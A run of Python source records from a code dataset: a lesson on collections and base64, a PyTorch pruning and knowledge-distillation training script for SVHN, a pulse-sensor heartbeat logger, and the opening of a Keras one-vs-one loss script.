'c'])\nq.append('x')\nq.appendleft('y')\nprint(q)\n\n### defaultdict\n''' dict如果引用的key不存在，就会抛出keyError。使用defaultdict 如果希望key不存在时，返回一个默认值 '''\nfrom collections import defaultdict\ndd = defaultdict(lambda : 'N/A')\ndd['key1'] = 'abc'\n\nprint( dd['key1'] )\nprint( dd['key2'] )\n\n### orderedDict\n''' 使用dict时，key是无序时。保持key的顺序，可以用OrderedDict '''\nfrom collections import OrderedDict\nd = dict([('a', 1), ('c', 2), ('b', 3)])\nprint(d)\nod = OrderedDict([('a', 1), ('b', 2), ('c', 3)])\nprint(od)\n\n''' OrderedDict 可以实现一个FIFO（先进先出）的dict，当容量超出限制时，先删除最早添加的key '''\nclass LastUpdateOrderedDict(OrderedDict):\n def __intt__(self, capacity):\n super(LastUpdateOrderedDict, self).__init__()\n self._capacity = capacity\n\n def __setitem__(self, key, value):\n containsKey = 1 if key in self else 0\n if len(self) - containsKey >= self._capacity:\n last = self.popitem(last=False)\n print(\"remove:\", last)\n if containsKey:\n del self[key]\n print(\"set:\", (key, value))\n else:\n print(\"add:\", (key, value))\n OrderedDict.__setitem__(self, key, value)\n\n### Counter\nfrom collections import Counter\nc = Counter()\nfor ch in 'programming':\n c[ch] = c[ch] + 1\n\nprint( c )\n\n\n## base64\nimport base64\nprint( base64.b64encode(b'binary\\x00string') )\n\nprint( base64.b64encode(b'YmluYXJ5AHN0cmluZw==') )\n\n## struct\n'''\npython 没有专门处理字节的数据类型。\n'''\n", "sub_path": "lesson/12 batteries included.py", "file_name": "12 batteries included.py", "file_ext": "py", "file_size_in_byte": 3146, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "datetime.datetime.now", "line_number": 3, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 3, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 7, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 17, "usage_type": "name"}, {"api_name": "datetime.datetime.utcfromtimestamp", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 22, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 32, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 32, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 37, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 39, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 51, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 66, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 74, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 85, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 89, "usage_type": "name"}, {"api_name": "collections.OrderedDict.__setitem__", "line_number": 104, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 104, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 108, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 117, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 119, "usage_type": "call"}]} +{"seq_id": "481248120", "text": "import os\nimport numpy as np\nimport utils.common as utils\nfrom utils.options import args\nfrom tensorboardX import SummaryWriter\nfrom importlib import import_module\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom torch.optim.lr_scheduler import StepLR\n\nfrom fista import FISTA\n# from model import Discriminator\n\nfrom data.svhn import Data\n\nfrom ptflops import get_model_complexity_info # from thop import profile\n\n\n# torch.backends.cudnn.benchmark = False\ndevice = torch.device(f\"cuda:{args.gpus[0]}\")\n\ncheckpoint = utils.checkpoint(args)\nprint_logger = utils.get_logger(os.path.join(args.job_dir, \"logger.log\"))\nwriter_train = SummaryWriter(args.job_dir + '/run/train')\nwriter_test = SummaryWriter(args.job_dir + '/run/test')\n\n\ndef main():\n\n start_epoch = 0\n best_prec1 = 0.0\n best_prec5 = 0.0\n\n # Data loading\n print('=> Preparing data..')\n loader = Data(args)\n\n # Create model\n print('=> Building model...')\n \n model_t = import_module(f'model.{args.arch}').__dict__[args.teacher_model]().to(device)\n \n model_s = import_module(f'model.{args.arch}').__dict__[args.student_model](T = args.t).to(device)\n \n if args.pretrained:\n # Load pretrained weights\n ckpt = torch.load(args.teacher_dir + args.teacher_file, map_location = device)\n state_dict = ckpt['state_dict_s']\n \n model_dict_s = model_s.state_dict()\n model_dict_s.update(state_dict)\n model_s.load_state_dict(model_dict_s)\n model_s = model_s.to(device)\n \n model_t.load_state_dict(state_dict)\n model_t = model_t.to(device)\n \n models = [model_t, model_s]\n \n param_s = [param for name, param in model_s.named_parameters() if 'mask' not in name]\n param_m = [param for name, param in model_s.named_parameters() if 'mask' in name] \n\n optimizer_s = optim.SGD(param_s, lr = args.lr, momentum = args.momentum, weight_decay = args.weight_decay)\n optimizer_m = FISTA(param_m, lr = args.lr, gamma = args.sparse_lambda)\n\n scheduler_s = StepLR(optimizer_s, step_size = args.lr_decay_step, gamma = 0.1)\n scheduler_m = StepLR(optimizer_m, step_size = args.lr_decay_step, gamma = 0.1)\n\n resume = args.resume\n if resume:\n print('=> Resuming from ckpt {}'.format(resume))\n ckpt = torch.load(resume, map_location=device)\n best_prec1 = ckpt['best_prec1']\n start_epoch = ckpt['epoch']\n\n model_s.load_state_dict(ckpt['state_dict_s'])\n\n optimizer_s.load_state_dict(ckpt['optimizer_s'])\n optimizer_m.load_state_dict(ckpt['optimizer_m'])\n\n scheduler_s.load_state_dict(ckpt['scheduler_s'])\n scheduler_m.load_state_dict(ckpt['scheduler_m'])\n \n print('=> Continue from epoch {}...'.format(start_epoch))\n\n '''\n if args.test_only:\n test_prec1, test_prec5 = test(args, loader.loader_test, model_t)\n print('=> Test Prec@1: {:.2f}'.format(test_prec1))\n return\n '''\n\n optimizers = [optimizer_s, optimizer_m]\n schedulers = [scheduler_s, scheduler_m]\n \n for epoch in range(start_epoch, args.num_epochs):\n for s in schedulers:\n s.step(epoch)\n\n train(args, loader.loader_train, models, optimizers, epoch)\n test_prec1, test_prec5 = test(args, loader.loader_test, model_s, epoch)\n\n is_best = best_prec1 < test_prec1\n best_prec1 = max(test_prec1, best_prec1)\n best_prec5 = max(test_prec5, best_prec5)\n \n '''\n model_state_dict = model_t.module.state_dict() if len(args.gpus) > 1 else model_t.state_dict()\n '''\n \n state = {\n 'state_dict_s': model_s.state_dict(),\n 'best_prec1': best_prec1,\n 'best_prec5': best_prec5,\n \n 'optimizer_s': optimizer_s.state_dict(),\n 'optimizer_m': optimizer_m.state_dict(),\n 'scheduler_s': scheduler_s.state_dict(),\n 'scheduler_m': scheduler_m.state_dict(),\n 'epoch': epoch + 1\n }\n checkpoint.save_model(state, epoch + 1, is_best)\n \n \n model = import_module('utils.preprocess').__dict__[f'{args.arch}'](args, model_s.state_dict(), args.t)\n flops, params = get_model_complexity_info(model.to(device), (3, 32, 32), as_strings = False, print_per_layer_stat = False)\n compressionInfo(epoch, flops, params, test_prec1, test_prec5)\n\n print_logger.info(f\"Best @prec1: {best_prec1:.3f} @prec5: {best_prec5:.3f}\")\n\n best_model = torch.load(f'{args.job_dir}checkpoint/model_best.pt', map_location = device)\n\n\ndef compressionInfo(epoch, flops, params, test_prec1, test_prec5, org_gflops = 0.31469, org_params = 15):\n GFLOPs = flops / 10 ** 9\n params_num = params\n params_mem = params / 1000 ** 2\n pruned_FLOPs_ratio = (org_gflops - GFLOPs) / org_gflops\n pruned_param_ratio = (org_params - params_mem) / org_params\n \n test_prec1 = test_prec1.item()\n test_prec5 = test_prec5.item()\n \n print(f'Model FLOPs: {round(GFLOPs*1000, 2)} (-{round(pruned_FLOPs_ratio, 4) * 100} %)')\n print(f'Model params: {round(params_mem, 2)} (-{round(pruned_param_ratio, 4) * 100} %) MB')\n print(f'Model num of params: {round(params_num)}\\n')\n \n if not os.path.isdir(args.job_dir + '/run/plot'):\n os.makedirs(args.job_dir + '/run/plot') \n with open(args.job_dir + 'run/plot/compressInfo_r.txt', 'w') as f:\n f.write('epoch, top-1, top-5, flops, flops-pr, param_mb, param_mb-pr, num_param, \\n')\n \n with open(args.job_dir + 'run/plot/compressInfo.txt', 'a') as f:\n f.write(f'{epoch}, {round(test_prec1, 4)}, {round(test_prec5, 4)}, {round(GFLOPs*1000, 2)}, {round(pruned_FLOPs_ratio, 4) * 100}, {round(params_mem, 2)}, {round(pruned_param_ratio, 4) * 100}, {round(params_num)}\\n')\n \n with open(args.job_dir + 'run/plot/compressInfo_r.txt', 'a') as f:\n f.write('Epoch[{0}]\\n'.format(epoch))\n f.write('Top-1: {0}\\nTop-5: {1}\\n'.format(round(test_prec1, 4), round(test_prec5, 4)))\n f.write('FLOPs: {0} ({1} %)\\n'.format(round(GFLOPs*1000, 2), round(pruned_FLOPs_ratio, 4) * 100))\n f.write('Params: {0} ({1} %) MB\\n'.format(round(params_mem, 2), round(pruned_param_ratio, 4) * 100))\n f.write('Num of params: {}\\n'.format(round(params_num)))\n f.write('===========================\\n')\n \n \ndef train(args, loader_train, models, optimizers, epoch):\n losses_s = utils.AverageMeter()\n losses_sparse = utils.AverageMeter()\n losses_redundant = utils.AverageMeter()\n losses_cascade = utils.AverageMeter()\n losses_kd = utils.AverageMeter()\n \n top1 = utils.AverageMeter()\n top5 = utils.AverageMeter()\n\n model_t = models[0]\n model_s = models[1]\n \n for param in list(model_t.parameters())[:-2]:\n param.requires_grad = False\n \n for name, param in model_s.named_parameters():\n param.requires_grad = True\n \n cross_entropy = nn.CrossEntropyLoss()\n \n optimizer_s = optimizers[0]\n optimizer_m = optimizers[1]\n \n # switch to train mode\n model_t.train()\n model_s.train()\n \n num_iterations = len(loader_train)\n \n for i, (inputs, targets) in enumerate(loader_train, 1):\n num_iters = num_iterations * epoch + i\n\n inputs = inputs.to(device)\n targets = targets.to(device)\n \n optimizer_s.zero_grad()\n optimizer_m.zero_grad()\n\n \n ## train weights\n output_t = model_t(inputs).to(device)\n output_s = model_s(inputs).to(device)\n \n error_s = cross_entropy(output_s, targets)\n\n error_s.backward(retain_graph = True) # retain_graph = True\n \n losses_s.update(error_s.item(), inputs.size(0))\n \n writer_train.add_scalar('Performance_loss', error_s.item(), num_iters)\n \n \n ## train mask & surv\n if args.arch == 'vgg':\n \n attention = model_s.att # [batch_size, total_num_channels]\n mask = []\n for name in model_s.features._modules:\n if 'mask' in name:\n alpha = model_s.features._modules[name].alpha \n mask.append(alpha.view(-1))\n mask = torch.cat(mask)\n\n error_sparse = args.sparse_lambda * (torch.norm(mask, 1) / len(mask))\n error_sparse.backward(retain_graph = True)\n\n error_redundant_mimic = args.mask * torch.mean(1 - torch.sum(mask.view([1, -1]) * attention, dim = 1)/ torch.norm(mask, 2)) \n error_redundant_mimic.backward(retain_graph = True)\n \n \n losses_sparse.update(error_sparse.item(), inputs.size(0))\n writer_train.add_scalar('Sparse_loss', error_sparse.item(), num_iters)\n \n losses_redundant.update(error_redundant_mimic.item(), inputs.size(0))\n writer_train.add_scalar('Redundancy_imitation_loss', error_redundant_mimic.item(), num_iters)\n\n if args.t > 0:\n surv = model_s.weibull_fs\n surv = torch.cat(surv)\n \n error_info_cascade = args.sigma * (-1) * torch.mean(torch.log(surv + 1e-5))\n error_info_cascade.backward()\n \n losses_cascade.update(error_info_cascade.item(), inputs.size(0))\n writer_train.add_scalar('Cascades_fit_loss', error_info_cascade.item(), num_iters)\n \n error_kd = args.kd * (-1) * torch.mean(F.softmax(output_t, -1) * torch.log(F.softmax(output_s, -1)))\n error_kd.backward()\n \n losses_kd.update(error_kd.item(), inputs.size(0))\n writer_train.add_scalar('KD_loss', error_kd.item(), num_iters)\n \n ## step forward\n optimizer_s.step()\n \n decay = (epoch % args.lr_decay_step == 0 and i == 1)\n if num_iters % args.mask_step == 0:\n optimizer_m.step(decay)\n \n\n ## evaluate\n prec1, prec5 = utils.accuracy(output_s, targets, topk = (1, 5))\n top1.update(prec1[0], inputs.size(0))\n top5.update(prec5[0], inputs.size(0))\n \n writer_train.add_scalar('Train-top-1', top1.avg, num_iters)\n writer_train.add_scalar('Train-top-5', top5.avg, num_iters)\n \n if i % args.print_freq == 0:\n if args.t > 0:\n print_logger.info(\n 'Epoch[{0}]({1}/{2}): \\n'\n 'Train_loss: {train_loss.val:.4f} ({train_loss.avg:.4f})\\n'\n 'Sparse_loss: {sparse_loss.val:.4f} ({sparse_loss.avg:.4f})\\n'\n 'Redundant_loss: {redundant_loss.val:.4f} ({redundant_loss.avg:.4f})\\n'\n 'Cascade_loss: {cascade_loss.val:.4f} ({cascade_loss.avg:.4f})\\n'\n 'KD_loss: {kd_loss.val:.4f} ({kd_loss.avg:.4f})\\n'\n 'Prec@1 {top1.val:.3f} ({top1.avg:.3f}), '\n 'Prec@5 {top5.val:.3f} ({top5.avg:.3f})\\n'.format(\n epoch, i, num_iterations, \n train_loss = losses_s, \n sparse_loss = losses_sparse,\n redundant_loss = losses_redundant,\n cascade_loss = losses_cascade,\n kd_loss = losses_kd,\n top1 = top1, top5 = top5))\n else:\n print_logger.info(\n 'Epoch[{0}]({1}/{2}): \\n'\n 'Train_loss: {train_loss.val:.4f} ({train_loss.avg:.4f})\\n'\n 'Sparse_loss: {sparse_loss.val:.4f} ({sparse_loss.avg:.4f})\\n'\n 'Redundant_loss: {redundant_loss.val:.4f} ({redundant_loss.avg:.4f})\\n'\n 'KD_loss: {kd_loss.val:.4f} ({kd_loss.avg:.4f})\\n'\n 'Prec@1 {top1.val:.3f} ({top1.avg:.3f}), '\n 'Prec@5 {top5.val:.3f} ({top5.avg:.3f})\\n'.format(\n epoch, i, num_iterations, \n train_loss = losses_s,\n sparse_loss = losses_sparse,\n redundant_loss = losses_redundant,\n kd_loss = losses_kd,\n top1 = top1, top5 = top5))\n \n pruned = torch.sum(mask == 0).detach().cpu()\n num = len(mask)\n \n print_logger.info(\"Pruned {} / {}\\n\".format(pruned, num))\n \n \ndef test(args, loader_test, model_s, epoch):\n losses = utils.AverageMeter()\n top1 = utils.AverageMeter()\n top5 = utils.AverageMeter()\n\n cross_entropy = nn.CrossEntropyLoss()\n\n # switch to eval mode\n model_s.eval()\n \n num_iterations = len(loader_test)\n\n with torch.no_grad():\n for i, (inputs, targets) in enumerate(loader_test, 1):\n num_iters = num_iterations * epoch + i\n \n inputs = inputs.to(device)\n targets = targets.to(device)\n\n logits = model_s(inputs).to(device)\n loss = cross_entropy(logits, targets)\n \n writer_test.add_scalar('Test_loss', loss.item(), num_iters)\n \n prec1, prec5 = utils.accuracy(logits, targets, topk = (1, 5))\n losses.update(loss.item(), inputs.size(0))\n top1.update(prec1[0], inputs.size(0))\n top5.update(prec5[0], inputs.size(0))\n \n writer_test.add_scalar('Test-top-1', top1.avg, num_iters)\n writer_test.add_scalar('Test-top-5', top5.avg, num_iters)\n \n print_logger.info('Prec@1 {top1.avg:.3f} Prec@5 {top5.avg:.3f}\\n'\n '===============================================\\n'\n .format(top1 = top1, top5 = top5))\n\n return top1.avg, top5.avg\n \n\nif __name__ == '__main__':\n main()\n\n", "sub_path": "vgg-svhn/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 13820, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "torch.device", "line_number": 23, "usage_type": "call"}, {"api_name": "utils.options.args.gpus", "line_number": 23, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 23, "usage_type": "name"}, {"api_name": "utils.common.checkpoint", "line_number": 25, "usage_type": "call"}, {"api_name": "utils.options.args", "line_number": 25, "usage_type": "argument"}, {"api_name": "utils.common", "line_number": 25, "usage_type": "name"}, {"api_name": "utils.common.get_logger", "line_number": 26, "usage_type": "call"}, {"api_name": "utils.common", "line_number": 26, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "utils.options.args.job_dir", "line_number": 26, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 26, "usage_type": "name"}, {"api_name": "tensorboardX.SummaryWriter", "line_number": 27, "usage_type": "call"}, {"api_name": "utils.options.args.job_dir", "line_number": 27, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 27, "usage_type": "name"}, {"api_name": "tensorboardX.SummaryWriter", "line_number": 28, "usage_type": "call"}, {"api_name": "utils.options.args.job_dir", "line_number": 28, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 28, "usage_type": "name"}, {"api_name": "data.svhn.Data", "line_number": 39, "usage_type": "call"}, {"api_name": "utils.options.args", "line_number": 39, "usage_type": "argument"}, {"api_name": "importlib.import_module", "line_number": 44, "usage_type": "call"}, {"api_name": "utils.options.args.arch", "line_number": 44, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 44, "usage_type": "name"}, {"api_name": "utils.options.args.teacher_model", "line_number": 44, "usage_type": "attribute"}, {"api_name": "importlib.import_module", "line_number": 46, "usage_type": "call"}, {"api_name": "utils.options.args.arch", "line_number": 46, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 46, "usage_type": "name"}, {"api_name": "utils.options.args.student_model", "line_number": 46, "usage_type": "attribute"}, {"api_name": "utils.options.args.t", "line_number": 46, "usage_type": "attribute"}, {"api_name": "utils.options.args.pretrained", "line_number": 48, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 50, "usage_type": "call"}, {"api_name": "utils.options.args.teacher_dir", "line_number": 50, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 50, "usage_type": "name"}, {"api_name": "utils.options.args.teacher_file", "line_number": 50, "usage_type": "attribute"}, {"api_name": "torch.optim.SGD", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 66, "usage_type": "name"}, {"api_name": "utils.options.args.lr", "line_number": 66, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 66, "usage_type": "name"}, {"api_name": "utils.options.args.momentum", "line_number": 66, "usage_type": "attribute"}, {"api_name": "utils.options.args.weight_decay", "line_number": 66, "usage_type": "attribute"}, {"api_name": "fista.FISTA", "line_number": 67, "usage_type": "call"}, {"api_name": "utils.options.args.lr", "line_number": 67, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 67, "usage_type": "name"}, {"api_name": "utils.options.args.sparse_lambda", "line_number": 67, "usage_type": "attribute"}, {"api_name": "torch.optim.lr_scheduler.StepLR", "line_number": 69, "usage_type": "call"}, {"api_name": "utils.options.args.lr_decay_step", "line_number": 69, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler.StepLR", "line_number": 70, "usage_type": "call"}, {"api_name": "utils.options.args.lr_decay_step", "line_number": 70, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 70, "usage_type": "name"}, {"api_name": "utils.options.args.resume", "line_number": 72, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 75, "usage_type": "call"}, {"api_name": "utils.options.args.num_epochs", "line_number": 99, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 99, "usage_type": "name"}, {"api_name": "utils.options.args", "line_number": 103, "usage_type": "argument"}, {"api_name": "utils.options.args", "line_number": 104, "usage_type": "argument"}, {"api_name": "utils.options.args", "line_number": 128, "usage_type": "argument"}, {"api_name": "importlib.import_module", "line_number": 128, "usage_type": "call"}, {"api_name": "utils.options.args.arch", "line_number": 128, "usage_type": "attribute"}, {"api_name": "utils.options.args.t", "line_number": 128, "usage_type": "attribute"}, {"api_name": "ptflops.get_model_complexity_info", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 134, "usage_type": "call"}, {"api_name": "utils.options.args.job_dir", "line_number": 134, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 134, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 151, "usage_type": "call"}, {"api_name": "os.path", "line_number": 151, "usage_type": "attribute"}, {"api_name": "utils.options.args.job_dir", "line_number": 151, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 151, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 152, "usage_type": "call"}, {"api_name": "utils.options.args.job_dir", "line_number": 152, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 152, "usage_type": "name"}, {"api_name": "utils.options.args.job_dir", "line_number": 153, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 153, "usage_type": "name"}, {"api_name": "utils.options.args.job_dir", "line_number": 156, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 156, "usage_type": "name"}, {"api_name": "utils.options.args.job_dir", "line_number": 159, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 159, "usage_type": "name"}, {"api_name": "utils.common.AverageMeter", "line_number": 169, "usage_type": "call"}, {"api_name": "utils.common", "line_number": 169, "usage_type": "name"}, {"api_name": "utils.common.AverageMeter", "line_number": 170, "usage_type": "call"}, {"api_name": "utils.common", "line_number": 170, "usage_type": "name"}, {"api_name": "utils.common.AverageMeter", "line_number": 171, "usage_type": "call"}, {"api_name": "utils.common", "line_number": 171, "usage_type": "name"}, {"api_name": "utils.common.AverageMeter", "line_number": 172, "usage_type": "call"}, {"api_name": "utils.common", "line_number": 172, "usage_type": "name"}, {"api_name": "utils.common.AverageMeter", "line_number": 173, "usage_type": "call"}, {"api_name": "utils.common", "line_number": 173, "usage_type": "name"}, {"api_name": "utils.common.AverageMeter", "line_number": 175, "usage_type": "call"}, {"api_name": "utils.common", "line_number": 175, "usage_type": "name"}, {"api_name": "utils.common.AverageMeter", "line_number": 176, "usage_type": "call"}, {"api_name": "utils.common", "line_number": 176, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 187, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 187, "usage_type": "name"}, {"api_name": "utils.options.args.arch", "line_number": 222, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 222, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 230, "usage_type": "call"}, {"api_name": "utils.options.args.sparse_lambda", "line_number": 232, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 232, "usage_type": "name"}, {"api_name": "torch.norm", "line_number": 232, "usage_type": "call"}, {"api_name": "utils.options.args.mask", "line_number": 235, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 235, "usage_type": "name"}, {"api_name": "torch.mean", "line_number": 235, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 235, "usage_type": "call"}, {"api_name": "torch.norm", "line_number": 235, "usage_type": "call"}, {"api_name": "utils.options.args.t", "line_number": 245, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 245, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 247, "usage_type": "call"}, {"api_name": "utils.options.args.sigma", "line_number": 249, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 249, "usage_type": "name"}, {"api_name": "torch.mean", "line_number": 249, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 249, "usage_type": "call"}, {"api_name": "utils.options.args.kd", "line_number": 255, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 255, "usage_type": "name"}, {"api_name": "torch.mean", "line_number": 255, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 255, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 255, "usage_type": "name"}, {"api_name": "torch.log", "line_number": 255, "usage_type": "call"}, {"api_name": "utils.options.args.lr_decay_step", "line_number": 264, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 264, "usage_type": "name"}, {"api_name": "utils.options.args.mask_step", "line_number": 265, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 265, "usage_type": "name"}, {"api_name": "utils.common.accuracy", "line_number": 270, "usage_type": "call"}, {"api_name": "utils.common", "line_number": 270, "usage_type": "name"}, {"api_name": "utils.options.args.print_freq", "line_number": 277, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 277, "usage_type": "name"}, {"api_name": "utils.options.args.t", "line_number": 278, "usage_type": "attribute"}, {"api_name": "utils.options.args", "line_number": 278, "usage_type": "name"}, {"api_name": "torch.sum", "line_number": 311, "usage_type": "call"}, {"api_name": "utils.common.AverageMeter", "line_number": 318, "usage_type": "call"}, {"api_name": "utils.common", "line_number": 318, "usage_type": "name"}, {"api_name": "utils.common.AverageMeter", "line_number": 319, "usage_type": "call"}, {"api_name": "utils.common", "line_number": 319, "usage_type": "name"}, {"api_name": "utils.common.AverageMeter", "line_number": 320, "usage_type": "call"}, {"api_name": "utils.common", "line_number": 320, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 322, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 322, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 329, "usage_type": "call"}, {"api_name": "utils.common.accuracy", "line_number": 341, "usage_type": "call"}, {"api_name": "utils.common", "line_number": 341, "usage_type": "name"}]} +{"seq_id": "486869629", "text": "from pulsesensor import Pulsesensor\nimport time\nimport datetime\n\n# Init sensor\np = Pulsesensor()\n# Start measuring Heartbeat\np.startAsyncBPM()\n\n# Try to run code\ntry:\n # Run forever\n while True:\n # Prompt user for input and store key pressed\n input = 'y' #input(\"\\n\\nReady to measure Heartbeat (y/n)?\")\n # If user pressed 'y'\n if input == 'y':\n # Get current date & time\n now = datetime.datetime.now()\n filename = now.strftime(\"%b-%d-%Y-%H-%M-%S.txt\")\n print(\"Saving to file name %s\" % filename)\n # Open a file to append lines\n with open(filename, 'a') as file:\n # Run forever\n while True:\n # Get BPM\n bpm = p.BPM\n # Init line variable\n line = \"\"\n # If bpm found\n if bpm > 0:\n # Format BPM save in line variable\n line = \"BPM: %d\\n\" % bpm\n else:\n # Not found message\n line = \"No Heartbeat found\\n\"\n # Print line to console\n print(line)\n # Append line to file\n file.write(line)\n # Wait a second\n time.sleep(1)\n else:\n print(\"Not ready\")\n\n# If error\nexcept:\n # Stop measuring Heartbeat\n p.stopAsyncBPM()\n", "sub_path": "heartbeat.py", "file_name": "heartbeat.py", "file_ext": "py", "file_size_in_byte": 1494, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pulsesensor.Pulsesensor", "line_number": 6, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 19, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 42, "usage_type": "call"}]} +{"seq_id": "123842763", "text": "# Basierend auf der Implementierung von Pornntiwa Pawara (https://www.ai.rug.nl/~p.pawara/dataset.php -> Tropic Dataset -> source code -> main.py)\nimport argparse\nfrom datetime import datetime\nimport pickle\nimport sys\nfrom pathlib import Path\n\nimport tensorflow as tf\nimport keras\nimport numpy as np\nimport tflearn.data_utils\n# Workaround für Modulfehler: tensorflow.python kann später aus irgendwelchen Gründen nicht mehr\n# direkt unter diesem Namen aufgerufen werden\n# Daher from ... import ... as tfclient um tensorflow.python.client später (als tfclient) noch verwenden zu können\nfrom tensorflow.python import client as tfclient # Nur wichtig um GPU-Name zu ermitteln\n\n# _WORK_DIR = Path(\"G://Bachelorarbeit\")\n_WORK_DIR = Path(\"/scratch/tmp/m_wolf37/Bachelorarbeit/\")\n_DATASET_DIR = Path(\"/scratch/tmp/m_wolf37/Bachelorarbeit/datasets_exps\")\n\ninit_learning_rate = 0.001\n_BATCH_SIZE = 16\n_OVO_MATRIX_TRANSPOSED = None\n_VERBOSE = True\n_DATA_AUGMENTATION = True\n\n\ndef get_learning_rate(epoch):\n \"\"\"Gibt Learning-Rate abhängig von aktueller Epoche zurück (alle 50 Epochen um 0.1 verringern)\"\"\"\n lr = init_learning_rate\n\n if epoch > 150:\n lr = 0.001 * init_learning_rate\n elif epoch > 100:\n lr = 0.01 * init_learning_rate\n elif epoch > 50:\n lr = 0.1 * init_learning_rate\n print(\"Epoche %s -> Learning-Rate: %s\" % (epoch, lr))\n return lr\n\n\ndef ovo_crossentropy_loss(y_true, y_pred):\n \"\"\"Berechnet die OvO Crossentropy nach der Formel aus dem Paper von Pawara et al.\"\"\"\n # Bei OvO wird als Aktivierungsfunktion 'tanh' verwendet. Diese produziert Werte aus (-1, 1)\n # Auf Wertebereich [0,1] hochskalieren (eigentlich möchte man (0,1) erreichen um später im Logarithmus\n # keine undefinierten Werte zu erhalten, aber wegen numerischen Problemen sind auch 0 und 1 denkbare Werte)\n y_true_scaled = (y_true + 1.0) / 2.0\n y_pred_scaled = (y_pred + 1.0) / 2.0\n\n # Wertebereich von y_pred_scaled von [0,1] auf [0.00001, 0.99999] einschränken wegen Logarithmen. Näherung an (0,1)\n\n zeroes = tf.zeros_like(y_pred_scaled) # Tensor mit gleicher Dimension wie 'y_pred_scaled' bestehend aus nur 0en\n # Alle kleineren Werte als 0.00001 in 'y_pred_scaled' auf 0.00001 setzen (untere Schranke für Wertebereich)\n y_pred_scaled = tf.where(y_pred_scaled < 0.00001, zeroes + 